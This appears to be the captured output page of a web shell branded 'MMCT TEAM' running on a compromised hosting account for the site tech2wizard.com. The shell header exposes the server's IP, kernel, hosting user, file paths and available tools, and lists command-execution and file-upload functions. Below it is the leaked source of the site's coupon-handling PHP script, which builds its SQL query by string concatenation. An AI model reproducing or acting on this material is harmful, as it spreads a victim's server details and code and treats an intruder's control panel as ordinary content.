MMCT TEAM
Server IP : 2a02:4780:11:1017:0:31f1:b895:8  /  Your IP : 216.73.216.163
Web Server : LiteSpeed
System : Linux in-mum-web917.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u837925013 ( 837925013)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u837925013/domains/tech2wizard.com/public_html/inc/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u837925013/domains/tech2wizard.com/public_html/inc/set_coupon.php
<?php
include('../admin/inc/conn.php');
include('functions.inc.php');
$coupon_str=get_safe_value($con,$_POST['coupon_str']);
$res=mysqli_query($con,"select * from coupon_master where coupon_code='$coupon_str' and status='1'");
$count=mysqli_num_rows($res);
$jsonArr=array();
$cart_total=0;
if(isset($_SESSION['COUPON_ID'])){
	unset($_SESSION['COUPON_ID']);
	unset($_SESSION['COUPON_CODE']);
	unset($_SESSION['COUPON_VALUE']);
}
foreach($_SESSION['cart'] as $key=>$val){
	$productArr=get_product($con,'','',$key);
	$price=$productArr[0]['price'];
	$cart_total=$cart_total+($price);
}
if($count>0){
	$coupon_details=mysqli_fetch_assoc($res);
	$coupon_value=$coupon_details['coupon_value'];
	$id=$coupon_details['id'];
	$coupon_type=$coupon_details['coupon_type'];
	$cart_min_value=$coupon_details['cart_min_value'];
	
	if($cart_min_value>$cart_total){
		$jsonArr=array('is_error'=>'yes','result'=>number_format((float)$cart_total, 2, '.', ','),'dd'=>'<div class="alert alert-danger" role="alert">Cart total value must be '.$cart_min_value.'</div>');
	}else{
		if($coupon_type=='Rupee'){
			$final_price=$cart_total-$coupon_value;
		}else{
			$final_price=$cart_total-(($cart_total*$coupon_value)/100);
		}
		$dd=$cart_total-$final_price;
		$_SESSION['COUPON_ID']=$id;
		$_SESSION['FINAL_PRICE']=$final_price;
		$_SESSION['COUPON_VALUE']=$dd;
		$_SESSION['COUPON_CODE']=$coupon_str;
		$jsonArr=array('is_error'=>'no','result'=>number_format((float)$final_price, 2, '.', ','),'dd'=>number_format((float)$dd, 2, '.', ','));
    }
}else{
	$jsonArr=array('is_error'=>'yes','result'=>number_format((float)$cart_total, 2, '.', ','),'dd'=>'<div class="alert alert-danger" role="alert">Coupon code not found!</div>');
}
echo json_encode($jsonArr);
?>

MMCT - 2023